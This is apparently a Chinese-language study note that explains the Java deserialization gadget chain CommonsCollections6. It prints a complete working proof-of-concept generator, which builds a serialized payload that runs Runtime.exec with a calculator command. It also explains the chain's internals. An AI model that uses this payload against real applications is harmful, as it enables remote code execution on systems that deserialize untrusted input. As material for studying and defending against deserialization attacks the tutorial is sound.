java反序列化CC6

  1. 1. 关于poc中的outerMap.remove(“keykey”);

因为sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化,导致cc1的链子在8u71版本后无法使用。所以要找一条能在java更高版本使用的链子。

cc6的简化版利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

p神给的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}

CC1是触发LazyMap.get方法进行命令执行,CC6是找到其他调用这个方法的地方。
这个类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法
中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}

// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

// ...
}

所以又要去找哪里触发了TiedMapEntry.hashCode()。
在java.util.HashMap#readObject调用了hashCode
该方法最后

调用了hash,跟进hash方法

看到hash方法调用了hashCode

poc里用了个fakeTransformers p神在java安全漫谈反序列化5里讲到了他的作用,主要是为了防止本地调试的时候触发命令执行。

关于poc中的outerMap.remove(“keykey”);

去掉outerMap.remove(“keykey”);则无法命令执行,主要原因在expMap.put(tme, “valuevalue”);中
expMap是HashMap的实例

HashMap.put中也调用了hash,但我们传入的是fakeTransformers,所以对poc产生了一定的影响。

在反序列化的过程中,触发反序列化最重要的LazyMap.get方法中并没有进入if分支里面,所以没有触发transfrom。所以为了让containsKey(key)判断为flase,用outerMap.remove(“keykey”);移除即可。
触发transfrom之后的过程就跟cc1时一样的。